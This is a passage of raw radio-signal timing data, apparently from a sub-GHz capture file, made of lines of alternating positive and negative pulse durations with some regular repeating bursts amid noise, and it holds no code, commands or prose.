-202 53 -249 92 -599 67 -372 63 -98 55 -82 95 -160 73 -96 150 -157 51 -95 71 -680 57 -438 53 -354 61 -419 305 -74 89 -1318 59 -281 57 -118 67 -391 89 -408 93 -93 59 -118 139 -191 99 -1022 63 -132 67 -98 78 -90 105 -405 89 -54 98 -62 65 -643 53 -100 131 -62 79 -108 61 -296 69 -143 132 -117 140 -406 81 -116 65 -332 93 -309 111 -349 -RAW_Data: 85 -135 87 -88 159 -387 53 -228 99 -165 53 -106 57 -346 89 -147 65 -663 51 -188 51 -212 128 -359 73 -172 51 -120 118 -355 73 -189 85 -408 109 -289 53 -293 97 -158 127 -529 97 -130 71 -98 51 -68 69 -76 79 -974 53 -82 81 -275 171 -183 53 -54 89 -633 81 -147 85 -100 89 -186 240 -458 88 -272 59 -99 55 -315 274 -419 59 -306 51 -152 69 -166 53 -167 73 -231 136 -174 103 -66 106 -461 71 -132 59 -310 85 -186 117 -70 125 -187 51 -170 53 -234 132 -62 98 -98 97 -90 67 -216 156 -378 108 -82 77 -145 53 -106 88 -134 81 -229 93 -114 99 -437 59 -54 115 -110 53 -586 61 -90 51 -88 55 -153 71 -256 104 -160 79 -525 91 -163 53 -64 61 -68 79 -128 166 -52 144 -403 75 -68 89 -669 51 -119 87 -54 95 -173 77 -547 73 -293 107 -342 53 -88 119 -504 71 -72 53 -210 103 -224 89 -157 219 -459 110 -246 69 -115 87 -221 168 -140 51 -164 67 -153 79 -372 90 -418 61 -396 75 -336 82 -134 76 -60 179 -642 107 -275 154 -731 59 -249 67 -313 107 -92 61 -207 71 -241 81 -166 67 -103 125 -499 67 -183 53 -312 53 -198 63 -98 119 -1032 63 -411 110 -153 57 -332 61 -216 55 -242 95 -88 57 -276 85 -182 87 -560 53 -222 51 -187 53 -62 65 -333 124 -430 53 -98 63 -62 63 -109 89 -54 107 -145 84 -429 53 -130 89 -140 188 -134 67 -277 61 -106 81 -54 106 -184 87 -294 51 -58 51 -661 115 -461 138 -359 51 -652 75 -231 170 -347 53 -148 67 -678 115 -454 71 -144 75 -454 86 -98 111 -185 114 -179 132 -413 65 -64 81 -302 128 -219 53 -429 59 -272 101 -418 53 -247 113 -436 75 -741 85 -60 53 -52 103 -218 57 -54 77 -88 93 -528 99 -158 61 -54 87 -488 63 -138 71 -116 143 -240 53 -286 88 -114 150 -108 73 -299 106 -244 89 -713 63 -428 71 -98 51 -341 63 -100 61 -82 71 -116 201 -80 78 -201 71 -286 107 -464 74 -500 89 -399 90 -559 87 -247 67 -99 51 -68 81 -156 172 -139 104 -56 53 -54 53 -234 202 -142 73 -533 96 -116 125 -907 73 -98 51 -615 55 -712 179 -373 99 -309 119 -670 87 -1022 53 -72 103 -104 53 -343 99 -1165 51 -128 63 -163 67 -207 74 -153 142 -62 53 -217 103 -223 71 -196 69 -709 53 -201 93 -70 75 -707 73 -664 61 -160 96 -830 59 -274 51 -115 79 -555 82 -184 114 -54 53 -195 137 -250 53 -261 73 -324 53 -438 -RAW_Data: 87 -88 89 -243 130 -54 53 -439 53 -131 71 -80 53 -90 71 -130 105 -587 71 -180 59 -208 53 -196 71 -474 67 -491 69 -230 53 -379 88 -68 79 -90 71 -164 61 -313 161 -114 69 -280 67 -60 105 -54 53 -90 77 -222 86 -54 51 -1066 80 -76 103 -164 57 -96 271 -60 118 -260 91 -140 53 -203 53 -90 95 -158 105 -176 51 -74 67 -52 73 -572 103 -89 179 -68 135 -174 71 -371 73 -368 132 -768 138 -242 144 -297 59 -273 81 -394 89 -153 151 -293 51 -111 67 -178 73 -75 59 -123 83 -156 71 -126 121 -227 114 -398 90 -819 61 -346 59 -228 93 -564 79 -298 53 -269 67 -216 53 -575 79 -54 51 -131 51 -299 51 -197 124 -206 72 -85 67 -631 99 -406 131 -60 67 -224 109 -176 53 -90 134 -175 51 -596 53 -72 89 -358 231 -278 63 -316 126 -108 61 -145 53 -170 74 -177 147 -240 89 -52 53 -387 63 -250 106 -68 125 -84 174 -154 87 -241 89 -166 134 -90 166 -184 137 -396 114 -72 88 -82 51 -318 71 -108 75 -165 59 -231 155 -96 183 -505 75 -268 121 -343 88 -796 89 -180 55 -89 67 -568 67 -391 71 -225 116 -114 53 -82 75 -422 115 -825 61 -68 67 -60 61 -296 71 -214 100 -318 89 -116 87 -108 53 -90 61 -285 68 -577 158 -220 108 -156 51 -253 142 -284 77 -76 61 -90 73 -258 73 -225 79 -110 133 -598 59 -221 71 -130 61 -401 84 -617 51 -118 59 -661 96 -224 67 -166 92 -346 67 -134 181 -471 71 -390 77 -208 67 -534 185 -62 183 -266 51 -279 53 -124 53 -174 97 -273 53 -178 97 -977 110 -269 81 -138 115 -241 148 -600 67 -182 93 -98 67 -169 151 -593 81 -62 51 -114 97 -170 99 -110 81 -201 67 -245 87 -267 77 -105 115 -361 63 -642 132 -71 53 -288 73 -624 51 -173 71 -144 53 -108 69 -295 83 -200 135 -432 122 -203 86 -166 71 -583 111 -52 67 -165 89 -211 117 -113 53 -325 77 -170 59 -334 113 -120 69 -359 81 -188 179 -262 77 -104 79 -60 69 -108 222 -212 51 -102 51 -310 71 -936 71 -558 55 -246 51 -460 61 -206 99 -315 53 -64 51 -68 71 -133 53 -160 172 -176 97 -68 51 -239 65 -62 63 -146 57 -60 95 -126 59 -250 89 -685 59 -68 73 -148 69 -188 69 -554 61 -461 55 -786 53 -64 154 -476 57 -70 77 -275 192 -196 57 -54 98 -530 73 -230 127 -373 149 -267 152 -197 95 -150 63 -54 53 -98 117 -266 106 -144 67 -80 55 -556 53 -70 -RAW_Data: 61 -66 71 -60 86 -130 77 -680 79 -162 103 -181 101 -168 67 -257 67 -144 63 -372 85 -106 125 -584 67 -80 61 -78 158 -325 53 -98 115 -386 105 -231 79 -283 88 -72 196 -68 51 -178 189 -219 89 -665 61 -1111 123 -409 79 -116 53 -62 53 -604 65 -451 153 -470 127 -304 53 -64 53 -223 98 -634 71 -321 69 -124 53 -100 59 -538 103 -80 99 -305 67 -372 78 -78 161 -72 112 -374 51 -56 114 -250 75 -126 53 -62 51 -432 71 -60 67 -325 51 -211 65 -132 59 -144 130 -64 144 -187 59 -529 53 -172 94 -108 67 -287 89 -72 78 -453 99 -380 75 -150 87 -170 53 -90 170 -392 131 -52 67 -500 67 -52 97 -72 75 -60 63 -208 71 -205 61 -116 67 -150 71 -80 71 -238 51 -161 51 -118 67 -620 88 -205 91 -60 109 -269 101 -110 59 -595 59 -277 55 -339 59 -817 86 -58 53 -288 51 -282 61 -1000 225 -683 71 -319 110 -118 81 -68 85 -341 57 -302 63 -84 108 -132 79 -301 59 -490 101 -251 124 -68 95 -154 53 -207 53 -162 79 -363 117 -495 97 -139 69 -66 57 -209 113 -136 53 -448 53 -196 51 -54 103 -409 53 -255 178 -281 88 -82 83 -82 59 -338 67 -280 104 -535 154 -150 53 -84 53 -285 99 -107 63 -54 86 -537 69 -270 63 -239 63 -247 59 -74 83 -307 89 -1146 59 -563 75 -86 63 -802 53 -180 89 -340 99 -299 63 -86 65 -323 71 -145 99 -291 190 -52 69 -342 89 -60 96 -54 63 -168 98 -152 53 -186 89 -209 129 -172 61 -173 53 -619 134 -136 75 -208 78 -347 63 -160 93 -247 59 -195 143 -180 51 -150 89 -858 164 -401 127 -169 51 -66 75 -488 114 -366 51 -362 136 -125 81 -78 105 -108 89 -96 177 -76 113 -116 59 -278 71 -426 85 -297 61 -210 51 -191 61 -184 59 -140 110 -642 238 -624 71 -90 67 -405 71 -86 71 -328 85 -68 98 -88 75 -242 59 -656 59 -277 93 -979 53 -140 85 -350 53 -629 97 -474 57 -193 96 -54 67 -238 65 -696 61 -79 99 -163 65 -524 102 -193 63 -163 63 -424 63 -471 113 -128 53 -331 57 -163 51 -835 51 -60 51 -243 95 -152 329 -223 67 -78 61 -60 79 -72 106 -525 71 -540 69 -329 148 -337 65 -190 51 -134 79 -108 51 -425 114 -428 99 -207 83 -352 105 -94 86 -708 75 -128 53 -242 53 -312 84 -90 71 -143 51 -128 51 -72 59 -408 59 -206 83 -211 65 -375 89 -382 101 -116 79 -72 183 -156 65 -409 63 -270 139 -138 -RAW_Data: 89 -633 136 -271 55 -160 71 -122 53 -444 93 -104 82 -155 51 -466 81 -199 81 -128 51 -172 53 -62 104 -706 71 -170 71 -162 61 -119 97 -548 51 -90 77 -298 57 -638 67 -315 51 -290 104 -303 745 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 199 -88 147 -104 124 -355 158 -315 89 -74 65 -150 51 -84 61 -685 55 -76 71 -298 67 -199 53 -129 141 -357 104 -205 59 -322 63 -136 79 -265 110 -190 51 -327 81 -553 59 -286 197 -80 63 -138 148 -62 59 -226 102 -149 53 -345 71 -601 95 -110 71 -315 57 -70 79 -72 51 -58 57 -124 86 -128 53 -596 51 -353 79 -264 95 -151 85 -376 67 -64 53 -604 67 -140 97 -321 59 -82 106 -54 65 -271 87 -765 77 -173 -RAW_Data: 71 -192 251 -112 71 -302 111 -270 57 -60 121 -58 89 -70 161 -171 61 -401 53 -143 81 -465 69 -142 82 -206 71 -115 158 -167 69 -62 57 -174 99 -82 51 -253 89 -146 71 -347 141 -92 59 -128 59 -146 141 -83 53 -855 71 -98 71 -161 254 -109 69 -246 184 -120 101 -508 179 -84 183 -456 57 -90 109 -238 135 -241 89 -120 51 -200 65 -933 131 -62 63 -656 88 -98 81 -54 97 -127 89 -1025 137 -553 159 -54 61 -253 51 -644 61 -54 81 -105 89 -166 53 -272 79 -197 78 -321 99 -62 92 -152 167 -427 79 -574 96 -375 95 -426 77 -190 65 -418 102 -511 170 -108 164 -300 189 -262 61 -129 53 -254 97 -503 53 -465 93 -219 63 -376 61 -122 175 -144 87 -82 116 -468 85 -82 101 -445 55 -577 51 -132 89 -132 55 -229 149 -539 1081 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -128 127 -64 63 -126 63 -62 63 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -64 63 -126 63 -62 127 -64 63 -126 127 -128 127 -128 127 -118 63 -62 69 -64 61 -64 127 -64 63 -126 129 -64 61 -126 63 -64 125 -64 63 -62 63 -64 63 -62 63 -128 129 -64 61 -62 317 -174 139 -443 96 -429 153 -315 89 -264 51 -227 89 -68 51 -162 67 -158 111 -60 51 -180 113 -335 61 -344 65 -228 89 -116 61 -92 61 -66 177 -52 141 -208 53 -229 191 -90 110 -142 69 -171 103 -179 53 -367 69 -144 -RAW_Data: 57 -218 115 -80 53 -142 135 -158 71 -288 89 -187 79 -288 61 -240 53 -96 119 -143 123 -54 53 -102 51 -62 67 -222 151 -266 69 -290 111 -212 67 -455 113 -231 75 -282 59 -290 162 -331 57 -94 67 -72 63 -134 55 -168 53 -427 88 -396 168 -232 59 -78 51 -764 113 -186 94 -94 59 -387 102 -386 254 -219 81 -144 63 -192 67 -64 101 -630 80 -168 115 -427 63 -112 141 -128 53 -96 79 -274 217 -60 51 -68 187 -403 110 -574 89 -208 154 -72 63 -248 71 -97 97 -80 67 -333 93 -132 65 -132 53 -279 96 -98 81 -52 127 -141 53 -234 69 -152 83 -217 61 -103 73 -162 83 -220 169 -806 51 -190 131 -614 164 -855 67 -173 59 -98 53 -90 67 -52 53 -140 200 -54 144 -172 103 -659 93 -70 53 -74 51 -113 165 -68 51 -918 67 -104 53 -62 127 -299 212 -132 164 -374 51 -106 59 -167 79 -197 53 -144 149 -264 53 -189 75 -54 85 -454 163 -200 85 -86 83 -80 83 -665 97 -76 88 -204 154 -181 90 -203 124 -223 101 -134 59 -360 53 -60 152 -361 131 -488 53 -52 59 -88 151 -127 81 -146 149 -225 71 -126 105 -88 154 -225 83 -200 108 -279 53 -66 96 -553 51 -253 55 -116 53 -447 87 -98 84 -137 206 -467 77 -140 59 -227 53 -106 59 -137 97 -125 53 -169 88 -121 69 -74 132 -54 53 -62 125 -225 133 -136 117 -234 127 -64 53 -128 137 -302 301 -68 67 -130 146 -126 111 -68 99 -124 149 -142 185 -120 170 -56 89 -62 224 -89 88 -302 155 -122 59 -127 51 -104 160 -90 79 -84 143 -82 354 -64 142 -178 91 -140 67 -52 51 -594 105 -153 151 -82 125 -104 124 -78 114 -54 89 -186 88 -192 79 -54 241 -482 184 -136 53 -1331 51 -334 75 -254 237 -344 67 -590 77 -100 79 -797 63 -382 198 -136 127 -446 53 -116 71 -1036 57 -146 73 -68 53 -70 80 -653 53 -62 110 -188 149 -108 51 -112 61 -730 107 -1017 127 -452 69 -136 53 -248 88 -236 89 -72 79 -139 63 -82 97 -388 225 -116 61 -208 106 -412 63 -163 51 -72 83 -117 53 -98 68 -224 53 -70 53 -54 53 -110 53 -564 75 -72 61 -334 59 -93 89 -106 69 -284 59 -409 71 -422 220 -216 188 -460 59 -112 124 -155 51 -76 81 -132 98 -210 59 -395 119 -438 65 -70 53 -215 83 -123 203 -144 63 -84 89 -86 67 -139 236 -222 67 -967 152 -134 57 -274 81 -484 53 -208 51 -480 171 -151 71 -176 53 -428 81 -224 71 -281 96 -246 -RAW_Data: 116 -174 57 -54 132 -233 135 -460 160 -259 97 -94 121 -258 88 -424 61 -525 53 -121 51 -200 77 -102 97 -438 51 -264 61 -382 125 -426 167 -427 120 -162 53 -152 105 -227 98 -98 53 -384 63 -76 63 -451 67 -700 53 -190 88 -124 130 -54 53 -126 78 -313 135 -219 61 -68 71 -180 89 -888 51 -523 177 -538 53 -257 51 -306 61 -251 95 -110 100 -72 80 -599 63 -188 98 -226 59 -119 53 -314 110 -92 77 -70 63 -98 73 -112 112 -203 126 -279 53 -557 99 -475 212 -183 61 -280 67 -264 104 -115 53 -107 112 -96 67 -60 115 -209 61 -150 120 -154 155 -335 149 -54 120 -54 87 -136 53 -62 99 -62 81 -194 95 -78 71 -362 111 -118 67 -199 142 -70 71 -54 67 -190 305 -157 101 -76 53 -98 140 -68 81 -58 303 -148 83 -94 83 -233 53 -52 102 -181 133 -180 456 -76 446 -196 97 -60 147 -81 104 -320 115 -70 118 -88 71 -179 63 -130 245 -90 176 -115 95 -80 207 -97 380 -77 116 -60 187 -98 77 -82 205 -203 127 -163 171 -144 77 -62 75 -52 83 -118 59 -66 148 -78 142 -90 224 -60 200 -177 322 -174 59 -74 89 -84 73 -78 89 -202 65 -80 61 -164 316 -58 153 -76 89 -114 111 -211 321 -54 195 -54 67 -90 108 -76 105 -199 178 -134 82 -135 61 -114 51 -133 239 -142 71 -160 330 -85 204 -277 75 -248 151 -271 210 -88 159 -178 143 -236 271 -118 53 -60 51 -162 103 -405 63 -738 194 -60 67 -108 99 -52 59 -100 93 -60 105 -178 75 -129 319 -90 99 -678 125 -582 53 -559 114 -281 53 -54 138 -130 128 -214 251 -684 81 -385 71 -199 249 -82 73 -406 81 -365 96 -58 53 -241 53 -284 99 -577 51 -714 77 -116 88 -64 61 -82 65 -129 55 -114 53 -194 51 -127 89 -108 75 -168 53 -886 53 -70 126 -908 95 -136 67 -142 57 -132 61 -446 97 -80 65 -69 67 -1061 189 -103 77 -318 79 -403 59 -160 94 -374 61 -126 89 -666 59 -253 59 -500 113 -210 51 -234 143 -218 57 -126 53 -464 93 -467 107 -106 53 -458 53 -201 94 -72 65 -309 109 -116 69 -279 88 -483 59 -172 73 -486 57 -136 71 -189 82 -94 87 -357 63 -88 107 -222 91 -185 73 -659 61 -417 61 -178 59 -90 86 -74 75 -228 51 -429 67 -277 102 -140 133 -717 53 -64 555 -56 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 193 -54 97 -76 61 -52 59 -128 95 -83 141 -100 77 -115 291 -187 118 -74 107 -766 59 -223 53 -172 178 -425 77 -458 59 -308 71 -242 90 -217 108 -320 53 -379 111 -204 138 -122 71 -68 77 -162 69 -74 109 -68 87 -130 159 -88 51 -713 53 -72 152 -341 59 -222 107 -496 75 -54 79 -160 71 -880 99 -169 87 -135 53 -219 51 -304 74 -260 105 -54 61 -156 97 -114 81 -134 84 -96 97 -74 103 -134 92 -584 61 -72 99 -1177 71 -114 91 -106 182 -84 79 -355 168 -133 85 -427 51 -234 51 -556 71 -122 71 -193 132 -393 55 -304 88 -100 95 -408 113 -174 79 -163 107 -572 143 -76 119 -98 75 -112 59 -72 71 -135 106 -98 77 -68 81 -276 140 -213 114 -226 53 -76 55 -167 89 -290 116 -122 97 -114 73 -150 61 -180 51 -306 82 -90 71 -559 -RAW_Data: 53 -166 53 -62 87 -52 61 -72 73 -368 75 -80 67 -124 127 -580 85 -76 81 -488 87 -243 77 -56 53 -66 61 -97 124 -603 81 -585 109 -406 71 -76 51 -64 63 -149 75 -62 124 -140 97 -96 53 -90 51 -54 91 -210 90 -66 111 -156 65 -708 53 -372 57 -254 57 -54 104 -90 77 -445 89 -102 85 -560 75 -104 107 -290 92 -144 115 -278 53 -200 93 -106 75 -160 104 -104 51 -128 51 -85 73 -266 75 -232 69 -98 53 -90 103 -54 158 -182 55 -343 51 -463 1203 -54 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 63 -126 63 -62 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 63 -62 129 -128 63 -62 63 -62 127 -128 63 -62 63 -62 127 -128 129 -56 69 -126 127 -64 61 -128 63 -62 127 -64 63 -126 127 -128 127 -128 127 -126 55 -62 69 -62 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 61 -64 127 -64 63 -64 61 -64 63 -64 61 -64 63 -64 265 -240 61 -126 71 -420 65 -160 67 -541 152 -455 179 -159 81 -272 53 -190 153 -68 59 -524 142 -300 51 -68 63 -609 91 -543 61 -567 90 -56 97 -128 67 -120 137 -74 183 -471 63 -154 121 -180 57 -96 89 -158 74 -838 53 -388 96 -86 96 -177 142 -122 59 -74 85 -434 134 -301 65 -209 80 -188 95 -80 97 -142 146 -70 99 -54 123 -289 67 -154 83 -68 59 -68 103 -312 105 -218 85 -298 83 -52 77 -86 101 -142 93 -312 53 -74 114 -64 105 -325 81 -297 59 -590 153 -72 71 -112 73 -52 -RAW_Data: 83 -62 108 -314 57 -108 115 -408 99 -301 165 -440 63 -426 114 -439 104 -332 132 -398 214 -162 97 -93 111 -542 107 -90 115 -337 96 -420 63 -91 149 -149 356 -264 186 -275 53 -1437 67 -106 132 -1446 61 -847 51 -461 53 -453 83 -335 53 -108 57 -152 81 -545 102 -143 156 -134 81 -80 90 -178 98 -344 175 -224 97 -242 75 -268 129 -118 163 -135 51 -322 51 -92 57 -1281 110 -54 97 -200 51 -216 145 -144 76 -467 114 -82 115 -411 67 -78 61 -120 51 -458 59 -201 89 -112 57 -345 81 -402 75 -60 67 -367 61 -85 138 -56 97 -142 85 -87 51 -68 55 -260 71 -415 79 -104 89 -54 82 -116 71 -498 119 -52 133 -167 61 -689 53 -118 97 -342 141 -246 63 -995 69 -148 57 -221 92 -262 97 -160 89 -172 53 -62 71 -72 115 -270 61 -131 81 -98 128 -80 89 -423 71 -161 238 -190 149 -110 253 -76 94 -54 79 -123 92 -515 59 -136 84 -62 96 -243 53 -222 63 -452 132 -98 115 -142 57 -247 53 -215 75 -122 156 -60 96 -379 79 -54 67 -80 175 -88 89 -181 51 -252 61 -216 92 -86 51 -184 142 -56 129 -279 78 -181 72 -241 219 -118 83 -141 83 -185 296 -68 67 -89 53 -60 248 -88 86 -90 53 -227 79 -58 75 -60 135 -80 97 -275 127 -58 358 -76 210 -103 256 -97 358 -191 261 -58 69 -209 69 -336 273 -72 105 -70 55 -93 57 -126 413 -133 197 -176 118 -98 73 -283 113 -202 57 -139 61 -170 372 -72 75 -213 87 -66 116 -64 326 -231 53 -81 87 -70 179 -281 182 -120 154 -62 139 -231 79 -152 148 -110 86 -142 97 -84 67 -1576 107 -349 98 -210 109 -252 89 -384 67 -58 69 -60 144 -269 73 -478 59 -234 85 -685 138 -150 125 -186 94 -54 51 -500 106 -232 53 -62 121 -80 61 -64 53 -849 65 -212 59 -460 59 -168 122 -54 65 -454 53 -90 53 -349 99 -328 107 -356 53 -90 51 -316 202 -139 77 -149 125 -126 53 -721 71 -512 63 -88 53 -388 53 -114 195 -98 99 -98 89 -291 99 -413 81 -122 124 -643 105 -178 63 -166 59 -1832 63 -283 81 -168 67 -259 159 -106 88 -82 83 -533 84 -301 61 -126 79 -326 90 -110 95 -205 90 -323 109 -871 53 -162 71 -98 63 -108 59 -284 67 -309 61 -932 51 -110 157 -82 96 -124 96 -98 112 -249 112 -173 67 -68 91 -425 81 -230 299 -689 182 -639 106 -62 63 -268 51 -301 61 -136 131 -94 61 -52 150 -228 75 -153 53 -142 67 -969 53 -426 -RAW_Data: 127 -128 127 -56 69 -62 61 -64 61 -130 63 -62 127 -128 63 -64 125 -128 127 -56 69 -62 63 -128 63 -62 127 -128 127 -56 69 -126 315 -66 98 -270 142 -267 81 -72 79 -370 69 -54 53 -160 107 -68 183 -72 53 -64 53 -281 105 -202 95 -133 87 -231 116 -174 120 -155 151 -561 69 -124 144 -442 51 -349 87 -146 103 -100 106 -180 61 -164 83 -374 69 -142 69 -62 81 -116 167 -656 71 -66 221 -76 172 -62 97 -457 195 -258 110 -194 116 -64 115 -72 65 -56 232 -220 51 -54 85 -148 109 -64 96 -261 65 -111 53 -228 175 -203 71 -62 97 -338 53 -108 85 -74 59 -94 57 -169 79 -442 85 -189 69 -328 97 -100 65 -300 142 -522 70 -480 87 -319 59 -216 77 -100 51 -68 59 -148 117 -711 63 -197 53 -277 75 -682 69 -435 77 -114 103 -62 53 -376 79 -147 67 -82 79 -383 116 -108 96 -154 53 -334 61 -162 84 -400 61 -90 53 -108 77 -729 53 -707 61 -62 59 -108 61 -115 57 -591 88 -247 51 -196 113 -274 51 -105 87 -76 102 -121 112 -157 116 -185 73 -194 171 -134 51 -150 88 -387 53 -188 53 -554 53 -171 53 -192 53 -552 79 -52 95 -52 105 -108 135 -116 71 -589 75 -157 53 -820 61 -247 61 -100 116 -58 57 -172 90 -479 160 -128 102 -432 123 -699 53 -196 71 -62 95 -563 81 -608 65 -257 51 -738 61 -226 83 -115 163 -461 95 -88 53 -72 72 -385 115 -521 53 -285 209 -94 53 -116 73 -274 156 -118 67 -76 105 -58 131 -139 214 -171 55 -91 67 -137 79 -89 88 -118 130 -199 53 -113 89 -205 59 -116 63 -193 99 -54 59 -288 61 -219 199 -72 81 -149 95 -527 108 -203 151 -172 65 -211 94 -178 142 -60 73 -257 110 -200 117 -90 328 -90 107 -108 258 -231 108 -150 287 -100 98 -362 81 -263 105 -150 81 -120 69 -138 81 -143 91 -80 121 -148 220 -60 53 -133 112 -90 159 -410 99 -169 59 -235 135 -175 118 -138 116 -320 122 -165 106 -445 85 -181 124 -62 113 -207 53 -202 97 -154 73 -132 65 -375 107 -125 178 -294 51 -187 51 -72 79 -130 103 -243 122 -65 133 -182 89 -335 99 -58 71 -480 51 -501 53 -54 71 -368 81 -106 67 -944 131 -424 176 -70 73 -280 65 -66 51 -158 129 -98 53 -580 123 -52 51 -200 53 -500 94 -251 67 -347 167 -90 51 -777 51 -98 53 -179 61 -142 63 -422 51 -886 51 -417 124 -407 125 -1282 61 -283 97 -488 102 -134 51 -465 57 -164 212 -349 -RAW_Data: 78 -597 51 -54 63 -149 59 -121 55 -98 55 -194 107 -162 53 -158 142 -409 73 -111 65 -151 89 -378 65 -134 57 -54 53 -182 133 -100 53 -807 69 -381 89 -744 59 -250 51 -138 63 -387 132 -196 51 -126 79 -246 89 -301 53 -120 111 -312 57 -544 57 -431 59 -241 115 -112 78 -90 143 -74 61 -428 88 -208 71 -134 114 -185 85 -496 53 -149 115 -586 139 -156 123 -84 61 -143 73 -377 157 -82 61 -72 53 -158 77 -72 64 -74 83 -277 183 -114 53 -324 53 -295 67 -193 94 -110 67 -361 105 -410 71 -64 61 -142 63 -144 67 -90 53 -196 106 -166 96 -54 148 -234 51 -94 71 -195 53 -435 129 -325 122 -144 149 -560 156 -383 81 -496 59 -96 75 -709 53 -60 69 -403 84 -54 67 -566 53 -465 179 -70 69 -152 112 -128 69 -546 96 -76 97 -610 105 -98 67 -215 99 -62 61 -56 97 -52 95 -122 111 -72 81 -152 194 -253 79 -242 88 -142 100 -120 99 -62 119 -445 53 -124 63 -80 123 -377 105 -159 67 -68 134 -72 55 -138 75 -149 65 -66 61 -92 158 -160 89 -161 51 -116 105 -149 59 -263 